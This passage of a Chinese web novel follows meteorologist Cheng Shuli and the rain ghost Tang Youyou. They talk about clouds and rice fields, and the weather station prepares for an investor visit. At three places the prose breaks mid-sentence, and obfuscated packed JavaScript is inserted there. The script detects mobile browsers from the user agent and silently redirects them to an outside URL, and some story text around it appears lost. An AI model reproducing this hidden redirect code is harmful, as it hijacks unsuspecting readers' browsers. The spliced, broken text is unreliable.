程澍礼几乎不用思考:“是秃积雨云的前一种形态,它体积很大,轮廓清晰,因为是由强烈的上升气流形成,垂直厚度远远超过水平宽度,甚至能在空中向上延伸1600多米甚至更高,很像一座高塔,所以有时它也叫塔状积云。” “傍晚的时候,由于陆地上的热对流迅速减少,这种积云可能会消散,但如果在海面上,大海释放白天所吸收的热辐射时间比陆地长,浓积云会一直生长到半夜。” “所以如果看见云的高度比宽度要大得多,那很大概率会下雨。” ...... 他们站在田埂上,对着一朵云不知讲了多久,直到积雨云流转变换为成熟的鬃积雨云。 棠又又提了很多问题,程澍礼从专业角度一一为她解答,他神情认真,措辞严谨,但也不忘照顾棠又又的理解能力,讲出来的东西都简洁易懂。 棠又又渐渐听入了迷,丝毫没有像之前一样,一听他讲知识说道理就头疼。 棠又又发自内心地表扬:“程澍礼,你讲课的样子一点都不古板。” 程澍礼愣了下,为自己正名:“我不是古板,是信奉科学。” “好好好。”棠又又滴溜着眼睛左看看右看看,学着他的语气,一个字一个字的,“信科学。” 听她这声音,应该是心情不错,程澍礼没来由松了口气。 转过身,棠又又继续迈着步子朝前走,程澍礼踩在她并不存在的脚印上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713211|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时不时还要等等腿短的小狗们。 棠又又问:“你刚才说了那么多,你最喜欢什么云?” 程澍礼说:“九号云朵。” 棠又又疑惑重复:“九号云朵?” 程澍礼语气如常:“九号云朵是爬升得最高的积雨云,所以在国际上它有个不成文的含义。” “是什么?” “最幸福的地方。” 棠又又笑:“没想到我们程教授还挺浪漫。” 程澍礼也笑了笑,没有说话。 因为他的浪漫远非如此。 几年前还在做野外研究时,程澍礼跟着中国南极科考队去到南极洲,那是世界最冷、风力最强,同样也是风暴最多的陆地,他在那里待了足足两个月,感受过连续的极夜,看到了绚丽的极光,也在晴朗时,和企鹅一起在雪地漫步。 而最让他着迷的,是那里最极端最恶劣的气候,酷寒和极燥,强烈的温差,还有能要人命的飓风。 宇宙浩瀚,人类渺小,有太多尚不能完全解释的自然现象,如同星辰般璀璨诱人,也正因如此,人类借着科学的力量,仰望星空、探索自然的举动才显得格外勇敢。 作为气象学者,程澍礼常年钻研大气规律,他想,如果天空中的云朵发生了新的变化,他作为第一个知道并理解的人,能将这些变化告诉地球上的人,这份传递新知、连接天地的使命,本身就是一件很浪漫的事。 于是在那个时候,程澍礼就做好了要为科学奉献一生的准备。 只是当他站在南极点,那个几乎全年没有降水的地方时,绝对不会想到有一天,自己会跟一个一出现就下雨的鬼坦然共处。 想到这,程澍礼为自己的奇幻经历笑了下。 笑声没逃过棠又又的耳朵,她猛地转过来:“你笑什么?” “没什么。”程澍礼提醒她,“前面有引水沟,看点儿路。” “我是鬼,不会摔跤。” “我说小狗。” 棠又又嘁了声表达不满。 再要走时,棠又又想起来问:“你为什么抱着六六?” 经他这么一说,程澍礼也才想起来自己怀里还有只小狗,小狗依偎在他胸膛,畏怯的样子可怜巴巴的。 程澍礼有点意外:“它有名字?” “有啊。”棠又又站在田埂上,对着脚边的几只小狗点兵点将,“一一,二二,三三,四四,五五。”最后她手指指向程澍礼抱着的那只,“六六。” “你取的名字?” “是啊。”棠又又冷冷瞥他一眼,“不好?” 程澍礼立刻点头:“好。” 好记。 “话说回来。”棠又又是一定要把问题问到底的,“你为什么抱着六六。” 程澍礼弯腰将六六放到田埂,鼓励似地拍拍它的屁股:“它刚脚滑,栽田里了。” 一落地,六六就呼哧呼哧冲向棠又又,却因为跑得太猛,一不小心又摔一跤,直接翻了个大跟头圆溜溜地滚到棠又又脚边。 棠又又嫌弃地扁下嘴巴,转身时丢下一句:“路都不会走,笨蛋。” 与此同时,在身后她看不见的地方,刚一脚踏进稀泥差点滑倒的程澍礼,以最快的速度站起来稳住身体,很敏捷地没有成为笨蛋。 13. 第十三场雨 试验田边的草棚下,一张木头方桌,两条长凳,棚顶的吊灯被风吹得晃来晃去。 程澍礼坐在桌子前记录气象数据,下雨天他没带电脑,只拿了平时写东西的笔记本,钢笔笔尖在纸页上不停摩擦,沙沙的混在雨声里。 另一边,棠又又双手托腮,蹲在草棚边上看蚂蚁搬家。 程澍礼工作的时候很认真,常常在那一坐就是很长时间,今天也不例外,除了简单的数据记录,还要根据前几天多光谱无人机的监测结果,分析早稻长势情况,为即将到来的收割季做好准备。 等他忙到一半,时间已经不知道过了多久。 外面风雨还在继续,时而淅沥,时而淋漓,溅起稻田里一片蒙蒙绿雾。 不知道从什么时候开始,棠又又趴在地上,双手交叠垫住下巴,正聚精会神地看着眼前的一小片空地,一二三和四五六分别守在她两边,头抵着头,窝在一起取暖。 程澍礼揉揉眉骨,叫了她一声:“棠又又。” 棠又又眼盯着黄土地,一眨不眨舍不得抬头:“干嘛?” 程澍礼问:“你干什么呢?” 棠又又说:“下雨了之后有泥土的味道。” “你能闻到味道?”程澍礼惊讶地探起身体,一度怀疑自己记忆出了问题。 “闻不到,但是能感受。”她瓮声道,还是没抬头,煞有其事地跟程澍礼解释:“你不觉得下雨之后的泥土很不一样吗?又安静又轻盈,就好像有一股浪朝你涌过来,带来了很多东西,反正就是很......” 她一时想不到怎么形容,过了一会儿才说:“很新鲜的感觉。” 说完,棠又又用力吸了下雨后的空气,面上满是陶醉。 听完她真情感慨的描述,程澍礼复又坐回去,无声两秒也纠结两秒,到底还是说:“你说的,应该是放线菌的孢子?” “蘑菇吗?!”棠又又一骨碌爬起来,她坐在地上,眼睛水灵灵的,“我爱吃蘑菇!” “......” 听见孢子就是蘑菇,怎么没说馒头呢? 程澍礼眯下眼,久违的有种被学生气到的感觉。 说到底,鬼跟人一样,跟他手底下的学生一样,要么一通百通,要么费劲巴力的通了白通。 他放下笔,弯腰从脚边竹筐里拿出苹果:“那你喜欢吃苹果吗?”又大又圆的红苹果,摆在黑色的木头方桌上,向外散发着香甜的成熟气息。 棠又又的眼睛叮的一亮:“你带香了?” 程澍礼看着她,淡然地摇了摇头。 “你不是能感受吗?”他笑容温和有礼,做了个“请”的手势,“接着感受。” 棠又又的兴奋值一秒归零,瞪着他嘴里叽里咕噜说了句什么,想来也不是什么好话,程澍礼难得戏弄一回棠又又,再也忍不住地笑出声。 棠又又在这头咬牙骂他:“笑你个头。” 等笑够了,外面的雨也下大了,砸在棚顶哗啦啦作响,程澍礼心疼那些马上要收割的小麦水稻,咳了一声敛起情绪,问:“生气了?” 棠又又没好气:“就在这草棚子里过夜吧你。” “你下小点儿。”程澍礼声音放轻,带着点儿哄,“回家两个苹果都给你。” “两个苹果就想收买我?”棠又又语调拔高,强烈谴责程澍礼这种的行为,“你还欠着我十瓶可口可乐呢。” 自从尝过可乐的味道之后,棠又又算是食髓知味,将其排在了活人美食榜的第一名。 别的什么都好说,可乐一定是顿顿不能少的,而之前有次吃饭最后一瓶可乐告罄,程澍礼答应下次给她买十瓶。 桌上的手机适时响了一声,程澍礼看了眼收回:“你现在飘回吊脚楼,看看我网购的东西是不是到了?” 棠又又一昂脖子:“别以为我不知道你就想把我骗走。” 程澍礼云淡风轻地跟她斗嘴:“可乐也不要了?” 棠又又怔了怔:“寨子里不是有小卖部吗?” 程澍礼说:“你又不是只喝十瓶。” 说完,程澍礼深看她一眼,低头拿起钢笔继续工作。 棠又又坐在原地望住他,从她的视角望去,程澍礼低头时侧脸轮廓分明,高挺的鼻梁在在半明半暗的光影下下,似是月下照水的山峦。 周围杂草蔓生,他的表情十分专注,独有一种出尘的气质,很安宁的感觉。 视觉没来由在时光中回溯一瞬,棠又又恍惚了下,她敛起情绪不看他,再度转身跟小狗们玩儿到一起。 雨声悄无声息变小,程澍礼潜心在眼前的工作,手中钢笔簌簌不停。 ...... 卓客放完探空气球回来路过试验田,看见草棚里坐着的程澍礼,远远打了声招呼后跑过来,他没打雨伞,戴着斗笠披着雨披,挟着一身水汽钻进草棚。 进来后,他先是快速抖落几下身体,雨披哗啦啦的响,雨水溅到地上的几只小狗,小狗们忌惮他的高大,想上前又不敢上前的汪了他几声。 卓客弯腰想拍下叫的最凶的那只狗的脑袋,手伸一半不知想到什么,又赶紧收回,转而轻柔地摸了摸狗头。 即便这样,棠又又还是生气他欺负小狗的事,一挥手朝卓客后脑扔了个水团。 卓客粗心大意的只当是草棚子漏水,扬手一摆雨披大剌剌坐下,他来没别的事儿,就跟程澍礼聊聊天:“雨天还专门跑下来?” 程澍礼说:“最近雨水多,过来看看水稻的生长情况,你那边怎么样?” 说到专业卓客绝不含糊:“川乌收割完了,亩产量比预估的高百分之二十七,质量也不错,比去年能多卖八毛钱,农业局那边打算大批量投入种植。” 程澍礼在纸上记下这个数据:“石斛基地呢?” “我跟农业站的特派员一起去看过了,让等雨季过去就补新苗。” “尼莫阿奶家的新苹果园选在了松里峰,站里还有多余的气象监测仪吗?” “回头我给找一套,实在不行买新的。” 说完这些,卓客突然身体凑近,神秘兮兮地问程澍礼:“程教授,你猜我这几天去干嘛了?” 程澍礼不懂他的明知故问,头都没抬:“你不是去萨玛祠了吗?” 自从那天两人从学校回来之后,卓客总感觉自己无缘无故地发冷,肯定是那山上不干净,让他撞了邪祟,所以近两个月来,卓客时不时会跟老金请假,要去萨玛祠里拜一拜。 卓客说:“我托人给我打听了个很有经验的苗族女巫,让她给我用八字算了一算,真是不看不知道,看完把我自己都吓坏了,你猜为什么我总遇上怪事儿,还老觉得冷?” 程澍礼跟着问:“为什么?” 卓客低眉垂眼,言色郑重的一字一句道:“得罪狗了。” 他身后,棠又又紧跟着冷嗤一声。 “起先我也不信,但是她说的特别准,她问我觉得冷的时候,是不是正好身边有狗,我一想还真是,然后你还记得我之前栽的那几棵索玛花吗?” 提到这个,卓客大有忿忿之意:“就咱们从学校回来第二天,全都涝死了,但我明明记得那天夜里雨不大,我就围着那树转,结果真就发现旁边草丛了一堆狗粪,肯定是它们朝我花撒尿了!” 为此,卓客理解了当初老金的做法:“真神了,怪不得老金要找道士过来。” 他说完,程澍礼沉默了好一阵子,看向他的眼神不可言说。 怪异,惊讶,不解,如果细看,甚至还有一丝微乎其微的同情。 他问卓客:“那你对狗干了什么?” 像是终于被问到正题,卓客表现出前所未有的亢奋:“这就是我要跟你说的第二件事!我不是这辈子跟狗结怨!而是上辈子的纠葛!苗巫说我前世总欺负小狗,得罪了犬神,所以才被降下惩罚的。” 听到这,程澍礼愈发觉得离经叛道:“怪力乱神只能图个心理安慰,如果你真的觉得身体不舒服,最好去看医生。” 这么一说,卓客陡然想起来,对面坐着的堪称是马克思亲传大弟子费尔巴哈转世,索性问他:“程教授,您不信鬼不信神,也不信人有前世,那你信什么呢?” 程澍礼和棠又又异口同声:“信科学。” 闻声,程澍礼微一偏头,目光轻轻望向卓客的身后,棠又又坐在泥土坡上,微扬起头,还在闭眼感受她以为的自然的气息。 细雨中的大地是朦胧而模糊的,无数色彩在天空晕染,山林顶天而生,和天色融为一体,飞鸟成行留下白影,吊脚楼在山峦里若隐若现,绿色在稻田里潺潺流淌,带来灿烂的生机,偶尔有微风,眼前的风景像是一幅色彩浓艳的油画。 一切的正中央,棠又又安静坐着,蓝色的裙摆在脚边铺开,她仿佛是从画面中破土而出的花朵,在斑斓中开的鲜明而蓬勃。 小狗们和她打闹,棠又又想抓其中一只却落了空,身体一歪从坡上滚了下来,她没有立刻爬起来,而是张开双臂往地上一躺,脸上笑容非常的肆意自由。 时间一分一秒过去,卓客滔滔不绝兀自说了许多话,直到他察觉程澍礼的走神,边叫他边顺着他的目光回头望:“你看什么呢?” 在卓客的视野里,六只小狗正乐此不疲地玩叠叠乐,一只接一只地努力攀爬,形成一座摇摇晃晃的小狗塔。 最后一只使尽吃奶的力气好不容易快要爬到顶峰,忽然脚底一滑滚下来,滚了几圈稳稳地摔到卓客脚边,刚还在忏悔的卓客哈哈笑道:“这傻狗!” 程澍礼:“......” 眼见棠又又已经站起来,程澍礼赶忙说:“我待会儿要去趟气象站,一起吗?” “不了,下雨天还是适合睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是刚才给程澍礼苹果的尼莫阿奶,她手里拿着一本高考志愿指南,看见程澍礼像是看见了救星:“程教授啊,本来不想麻烦您,但是我家孙子刚刚高考完,就为选学校这事儿跟他阿爸吵了好几回,您看您是读书人,见的比我们多,能不能帮我们看看,我这孙子成绩报什么学校好啊?” 程澍礼问:“孩子考多少分?” 尼莫阿奶舔舔嘴唇,笑的有点勉强:“就那样。”她指指书上面一个手写的数字。 程澍礼看了眼,不高,四打头,不管在哪都不好选学校。 他说:“阿奶,我对你们这的高考不太了解,您等我回去查一查整理下资料,过两天让诺苏带给您。” “诶诶好嘞,那这个您拿着!”得到满意的回复后,尼莫阿奶心花怒放,她把志愿指南塞给程澍礼后,又往他背后的竹筐里塞了好几个苹果。 等尼莫阿奶走后,程澍礼看着手里的东西若有所思,他转过来问棠又又:“如果可以,你最想学什么?” “农学。”棠又又不假思索。 程澍礼问:“为什么?” “之前寨子里闹饥荒,大人小孩没东西吃,饿死了很多人。”棠又又半垂下眼,整个人透着消沉和难过,“如果能学农学,我想种很多很多水稻,让人人都能吃饱饭。” 一个整日游荡、谈及色变,人人避之不及的鬼,心里想着的却是这样崇高而美好的理想,程澍礼必须承认自己判断失误,棠又又其实没有他想的那么心思浅薄。 但他还是说:“我建议你换一个。” 棠又又问:“为什么?” 程澍礼一指他们面前的早稻田亩,金黄一片,熠熠生辉,浓厚的丰收气息扑面而来。 他说:“因为你的梦想已经实现了。” 棠又又望着这些茁壮成长的水稻,忽的就笑了,她咯咯傻乐了好久,好像这些水稻真的是她亲手种下的一样。 她甩起双手高兴地往回走,声音高高地扬起,飘在稻田上空:“程澍礼!” 程澍礼:“嗯。” 棠又又又开始问问题了:“一亩水稻能产多少粮食?” 程澍礼回答:“一千多斤。” “那能养活多少人啊?” “正常五个人,你这么能吃的不知道。” 棠又又心情好不跟他计较,她大笑出声:“那你们的水稻真能长到人那么高吗?” 程澍礼想了想:“禾下乘凉。” 棠又又惊叹:“这么厉害?” 程澍礼淡笑,他轻嗯了声:“感谢一位老人家。” 话落,棠又又没再提问,她迈着轻盈的步伐大步朝前,两边稻浪迎风翻滚,打在她飘动的裙摆上。 她走过的地方,遍地落满纯白的稻花。 14. 第十四场雨 周一早晨,晴空万里,是个好天气。 趁老金还没来,五子顶气象站里几人在一块聊闲天,卓客躺在椅子上仰天哀嚎:“我的花死的好惨啊!” 阿尧问:“咋啦卓哥?” 卓客坐起身来,目光幽怨地看着他:“我前两天刚种的几株花,宝贝的跟啥似的,结果早上起来一看,发现又死了。” 阿尧啊了一声:“又被狗糟蹋啦?” 卓客痛心疾首得像是被一起糟蹋了:“是啊!也不知道谁家的狗,就看准我家的花乱撒尿,给那花根都烂了。” 程澍礼正埋头处理工作笔记,听见这话手顿了下,突然明白了昨天临走时,棠又又那个顽劣笑容背后的含义。 他连人带电脑往旁边移了移,以这种方式远离卓客可能的提问。 然而无济于事。 下一秒,卓客就郁闷地转过来:“程教授,你说到底为什么!难道全是我的错!都把鲜花想的太美现实太残酷?” 阿尧的脑袋在后面配合地打节奏。 程澍礼诚心建议:“要不换个耐浇的品种?” “在咱们这儿,索玛花要种不好,其他的就更不行了。”卓客摆了摆手,接着眼睛一亮:“要不我也养条狗得了,既然苗巫说我得罪了犬神,那我就养条狗,好吃好喝的供着,让它帮我看看家,顺带跟犬神说说好话。” 阿尧点头如捣蒜:“好主意好主意!” 说起狗,卓客立马想到那几只:“程教授,昨天跟着你的那狗哪家的,我去问问要两条过来?” 程澍礼说:“我劝你最好不要。” 卓客问:“为什么?!” 梁晶晶的声音从对面传过来:“因为它们像你一样管不住自己的下半身。” 卓客怒目圆睁:“我只是有一次喝多了在路边撒尿而已,不要用这么奇怪的语言形容我。” “那你可不如它。”梁晶晶语气冷冰冰,“它不用喝多就可以在路边撒尿。” 卓客将手里废纸揉成一团砸过去,梁晶晶看也不看地偏头躲过,然后顺手丢过来一个抱枕,卓客以吐血之姿被砸中后仰。 闹剧过后,老金推门而入,招呼几人开个简会。 和之前一样,他们没有去隔壁专门的会议室,只是拖着椅子围在一起,老金仍然坐在最前头。 只是他今天说话时摩擦膝盖的频率,比往常任何一次开会都要高,但除了疼痛,老金做这个动作更多是因为紧张。 他说话时面露局促:“根据旅游局那边的通知,下周要来个投资商,因为他们预估的投资金额很大,考虑的维度比较细,所以随行人员也会比之前多,他们在寨子周边整体都转一圈之后,最后会来咱们气象站。” 往常也有来视察的投资商,无一不听说过发生在这里的诡异天气,都会顺道过来五子顶看看。 但是这些人身居高位久了,又被底下的人捧着,身上多少带点傲气,来了之后摆出一副有钱人的架子,问这问那,恨不得把蚂蚁搬家的路线都要问一遍,可最后又都因为各式各样的原因不了了之。 梁晶晶最看不惯这些人的作派:“视察就视察,来我们站里干嘛?那些仪器数据又不是股票图,他们以为长个眼睛就能看懂?” 卓客掀掀眼皮,无声表达赞同,老金则是缓声安抚:“话是这么说,但你想,那要是投资之后景点都建起来了,还时不时的有点阴风邪雨,游客还能愿意来吗?” 梁晶晶哼了声,扭过头去不讲话,阿尧忙将手边的矿泉水递给她。 “对了程教授。”老金转过来,问一直没说话的程澍礼:“这次他们专门带了一个气象专家,到时候还要拜托你多招待一下。” 程澍礼应声:“好。” 会议散后,几人各自回到工位,梁晶晶出去放探空气球,叫了阿尧一起,卓客和程澍礼一起去石斛试验田,两人走到大门口时被老金拦下。 老金把程澍礼叫到一边,明明想说什么,但就像是舌头打结了半天蹦不出个正题,在他第四回扯开话题时,程澍礼道:“站长,您有话直说无妨。” 语罢,老金脸色凝了一秒,然后他抿下嘴唇:“程教授,你来我们这儿也快三个月了,也看到了,最近天气没什么异常,是不是就说明我们这里的问题解决了?” 想也是要说这个,但表面的平静并不等同于隐患的消除,而真正的原因程澍礼无法直说。 面对老金期待与焦虑交织的目光,程澍礼语气平和地安慰道:“最近确实气象状况稳定,各项监测数据也都符合我们的预测模型,投资商到访期间,不会有太大的问题。” 听见这句话,老金像是抓到救命稻草,他向前一步紧声问:“确定吗?确定他们来的那几天不会出什么岔子吧。”之前有几次就是因为毫无征兆地下雨,导致投资商格外不满。 程澍礼雷打不动的严谨:“我会撰写一份气象学方面的投资建议书,专门针对烂木等地区可能遇到的风险进行评估,并提出相应的规避措施,力求将不确定性降到最低,至于是否采纳,还要取决于对方团队。” “也好也好。”老金忙心中的大石稍稍落地,连连点头:“有办法就好。” 看着他不安搓动手掌的动作,程澍礼问了句:“站长,您怎么了?” 察觉到自己的失态,老金连忙调整情绪,转移话题说:“你还有事儿是吧,我不耽误你事儿,你去忙去忙。” 程澍礼走出气象站时,问了句卓客:“以前投资商来,老金也这么焦虑?” “想迁回市局呗。”卓客等他时在外头听了两三句,大概知道老金焦虑的原因,“糖豆儿昨天晚上摔了一跤,直接心脏病发作,现在还躺医院ICU呢,估计老金是想趁这次投资赶紧调回市局,一来能方便照顾孩子,二来他马上到退休年纪了,咱们这儿的退休金和市局的退休金差的可不是一星半点,特别是孩子生了这病,以后用钱的地方多着呢。” 说到这里,两人不约而同回头望了一眼,老金孤零零地坐在水泥台阶上,正咧着嘴用力揉搓疼痛的膝盖,蜷缩的身影显得格外落寞和无助。 卓客的声音隐隐忧郁:“而且他这膝盖,也不支持他一年到头的爬上爬下了吧。” 程澍礼接过卓客手中沉重的仪器,沉默着迈步下山,他心里想着要和棠又又聊一聊,然后尽快找到她的坟。 # 从那天之后,程澍礼的生活被按下了快进键。 头两天还能在七八点钟回到吊脚楼,可休息不过十分钟,便又重新一头扎进工作里,一边是气象站的分析报告,一边赶上学生论文指导,他经常在电脑前一坐就到深夜,直至星辰漫天,简单收拾一番,然后洗个澡上床睡觉。 他依然遵循十一点上床的习惯,代价是起得越来越早。 第三天,程澍礼回得更加晚,他借着月光穿过林间小道,雾雨倾斜而来,浸湿他的发梢和肩膀,坐在吊脚楼外头等他的棠又又问:“程澍礼,你怎么才回来啊。” 看见她时,程澍礼心头一紧,话里带着歉意:“今天......我忘记准备饭菜了。” 这之前,棠又又都是去气象站找他,且随心所欲没有固定时间,程澍礼一旦感受到外面下雨,便会从食堂打好饭菜带回吊脚楼。 但这几天棠又又知道他忙没多打扰,加上为了节省时间,他基本都在山上呆着,吃饭也是草草应付,而恰巧今天蔡叔请假,他索性直接忘了要吃晚饭。 棠又又冲他浅浅笑了下,黑白分明的眼珠倒映着一圈月色:“我想喝快乐水!” 程澍礼推开门,从盒子里抽出一根线香点上,然后从冰箱里拿了罐冰镇可乐,没掀开拉环直接放到桌上,并不是他不绅士,而是可乐狂热爱好者棠又又坚持要自己来。 现下的棠又又跟第一次喝可乐时一样,轻轻抿一小口,然后满足地眯一眯眼,神情十分惬意,脚丫子没什么节奏地乱晃。 再平凡不过的可乐就能给她带来极大的欢愉,每当这时候,程澍礼心中都会本能的恻隐,对她提不出任何要求,也就无法开口让她不要去气象站的事。 她乐此不疲地跟程澍礼分享学校里的事,程澍礼蹲在厨房里,将拌好的狗粮均匀分进六只大小颜色一致的狗盆里,看着一二三四五六呼哧进食的憨态,勾了勾唇,他边看小狗吃饭,边问棠又又:“下雨不能上体育课,孩子们不会骂你?” 棠又又“嗬”一声,满脸自豪:“光秃秃的草地有什么好玩的,下雨之后草地上会长出很多小花,孩子们拿来编花环才好玩呢。” 说完,她眼睛一转,想要继续分享另一件事,程澍礼突然打断她:“稍等一下。” 然后他径直走向书桌。 程澍礼突然想起学生的报告中有个重大错误,责任心驱使他赶紧打开电脑编辑修改意见,第一时间发了过去。 学生的回复也很迅速,并提出了几个疑惑,程澍礼耐心细致地逐一解答,一条又一条的信息在屏幕中穿梭,直到最后一节线香缓缓燃尽,他也再没有回头。 棠又又的魂体穿过红色易拉罐,留下一声遗憾的轻叹,和同样没吃过瘾的一二三四五六干瞪着眼。 等程澍礼终于想起来时,棠又又已经走了,他本想趁着今晚跟她谈谈投资商的事情,看来只能接下来几天找个机会了。 可接下来几天的程澍礼实在是太忙了。 长达几年的气象数据等着他处理分析,后面几天棠又又来时,他都专注在各式各样的气象绘图,线香已经提前点好,散发出淡淡的香气。 然而程澍礼实在没空跟她一起吃饭,一整晚也和她说不上三句话,有几次他捧着书籍从餐桌前走过,棠又又想开口,也被急促的电话铃声打断。 屋内的键盘声不绝于耳,棠又又独自吃饭,吃了没两口觉得没什么味道,直接放下筷子逗狗去了。 直到投资商来的前一天,程澍礼还在校对数据,突然窗外一阵急风骤雨,棠又又破窗而入,她冲到程澍礼身边兴致勃勃地问:“程澍礼!你去过潮汕吗!就是那个有好多好吃东西的潮汕。” “没有。”程澍礼的目光在她身上短暂停留,接着迅速回到电脑,“学校最近开了美食课?” “当然不是!” 棠又又的声音里充满了活力与好奇,她在吊脚楼空旷的厅堂中央轻盈地转了几圈:“五年级的虎子说暑假要去潮汕找他爸妈,他说那里可好玩了,有种特别大的狮子,叫醒狮,蹦起来能有两层楼那么高!我以前只知道狮子跑起来很快,原来它们还能蹦那么高!程澍礼,你说......” 又是一顿铃声打断棠又又,程澍礼边接边站起来,拿了一罐可乐放到她旁边的餐桌,歉意地笑了下,接着又坐回去,全神贯注地同对面交谈。 “吴教授,这么晚打扰您不好意思。你发给我的资料我看了,这个论文时间有点久,而且也不是北极冷涡的针对性研究,内容太边缘了,不知道您的科研组这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713213|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边有没有最新的数据?” 程澍礼的侧脸此刻极度专注,他一边与电话里的吴教授深入讨论,一边迅速地在笔记本上记录关键信息,完全没听见身后棠又又的话。 棠又又站在原地,兴致从头到脚的一寸寸冷却,只剩下无尽的失落,整个吊脚楼似乎陷入了一种诡异的安静,她默默飘到平时的位置坐下。 桌上饭菜比往日丰盛许多,好似是特意准备的,线香也早已点好,细烟悠悠飘起,但是棠又又毫无食欲,她双手托腮,目光空洞地投向那个沉浸在工作中的人。 墙上的钟表转了一圈半,程澍礼打了很多个电话,有学生的,教授的,也有老金的,他很忐忑,要一再跟程澍礼确认明天的接待事项。 程澍礼仿佛被卷入一个繁忙的漩涡当中,以至于完全忽略了身后静静坐着、已等待许久的棠又又。 时间拖的越久,棠又又那股格格不入的感觉越强烈,这是从程澍礼忙碌的第一天开始就有的,层层交叠地令她不能忽视。 不知又过了多久,程澍礼从忙碌中脱身片刻:“棠又又。” “啊!”棠又又回过神,她迅速坐直身子,眼里重新焕发出期待的光芒,“你忙完啦!那你快跟我讲讲那个醒狮的事情,我......” “棠又又。”程澍礼打断她,他仍旧端坐在书桌前,微微侧过半边身体,刚要开口忽然注意桌上原封不动的饭菜,眸光关切地问:“怎么不吃饭?” 棠又又摇了摇头,不说话。 “不合口味?” 棠又又还是摇头。 程澍礼不知道她突然沉默的理由,但是想到老金家的孙女,有句话他不得不说:“明天投资商要来五子顶气象站,这次的投资对棋山很重要,所以为了投资顺利,明天你先不要来棋山附近。” 考察日期是投资方选的,因为投资人讨厌下雨,精挑万选了一个良辰吉日,而恰好明天是近期雨季降雨概率最低的日子,占尽天时之后,老金还准备了几套应急方案,确保不出什么岔子。 为了不辜负大家的努力,程澍礼想的是,以防万一他先稳住棠又又,待投资尘埃落定,再利用搬迁前的这段时间,专心替棠又又找坟,还她真正的自由。 可事实上,他这几天忙得分身乏术,根本找不到机会跟棠又又细说,只能想起来时说这么简单一句。 说到最后,程澍礼又不忍心了:“明天晚上给你买拔丝地瓜。” 最后一句棠又又没听进去,前面的也记不清了,她心中期盼的火苗猛然熄灭,幽幽地趴到桌上,目光低落望着程澍礼工作的侧影。 窗外的雨,一阵急,一阵疏,一阵空白,他们就这样分坐在吊脚楼的两边,棠又又耷拉着疲倦的眼睛,用指尖拨弄可乐罐上凝结滑落的水珠,程澍礼的键盘声近而又远,伴着外面婉约而恬淡的蝉鸣声,仿佛是引她入梦的催眠曲。 再睁开眼睛时,棠又又发现程澍礼抱臂靠在椅子上,气场平淡静然,大概是累得睡着了。 暖黄色的灯光均匀的洒下来,辉映在他半边侧脸,在高挺的眉骨处微微反光,沿着起清瘦明细的脸颊线条一路下滑,隐没在被冷风吹动的领口里。 她慢悠悠地飘到床边。 如同解开某个神秘的禁咒,棠又又的手指破开无形的屏障,缓缓拎起床上叠的一丝不苟的薄毯,许是很久没有和实物直接触碰,完全拿起毛毯的一刹那,她从手到身体都不由自主地晃了下。 给程澍礼盖好薄毯后准备离开,棠又又的眼光蓦然被桌面的笔记本所吸引。 确切说是笔记本上的一行字—— 研究对象:棠又又。 她木讷地望着这几个字,心里其他滋味难以言说,但是终于明白,长久以来积压在心头的阴霾到底是什么。 棠又又知道程澍礼并不是故意冷落她,只是在看到那几个字时,才真正意识到,即使只有程澍礼能看见她——作为她和这个世界唯一的连接——他依然有着自己的工作和生活,有他不可推卸的责任,那是她无法触及也无法干涉的领域。 甚至于对程澍礼而言,依然不相信她的存在,而只是将她当作研究的一部分,又或许在某种程度上,她的存在,给程澍礼造成了一些麻烦。 此刻,她站在程澍礼身边,却像是渐渐沉入一个封闭的泥沼,而尤为讽刺的是,这一次,将她推进禁锢的牢笼里的,正是不久前,鼓励她要走出去感受广袤土地的人。 棠又又眼梢的光一点点熄灭,转身离开了吊脚楼。 小憩后的程澍礼醒来时,看见身上的毯子有一秒的走神,鼻息间最后一缕带着温暖的花香拉回他的意识,他很快明白是谁给他盖的毯子,淡笑了下,时钟不偏不倚地指向十二点整。 他起身倒了杯水走到餐桌边,看见桌上的菜一动未动。 起初程澍礼以为是自己忘记点线香,但目光落在桌上那盘已燃尽的香灰时不禁一顿,接着他看向墙边的狗窝,本该在那睡觉的六只小狗也不见所踪。 倏然的,他心里被什么细微的东西勾了下。 与此同时,仲夏夜晚,万籁无声。 辽远到能够压迫万物的寂静里,只有一颗遥远的星辰在山头发出渺茫的光,深夜的风缓慢而沉重,经过这片山谷却吹不起一丝涟漪,一望无际的原野像一片死寂沉沉的深海,比平时更加压抑。 程澍礼关好门窗,隔绝了那似乎能渗进每一个缝隙的寂静,和往常一样收拾房间洗澡休息。 15. 第十五场雨 第二天一早,当第一缕阳光穿透薄雾,卓客拎着热腾腾的早餐打着哈欠走进办公室时,程澍礼正坐在椅子上闭目养神,他面前的桌子上,铺着一张巨大的烂木等山区天气图。 卓客拿起来一看,上面用不同颜色精细标注了雨区雾区和冷锋,旁边是兴义的风玫瑰图,空白处写满了错综复杂的模型推算结果。 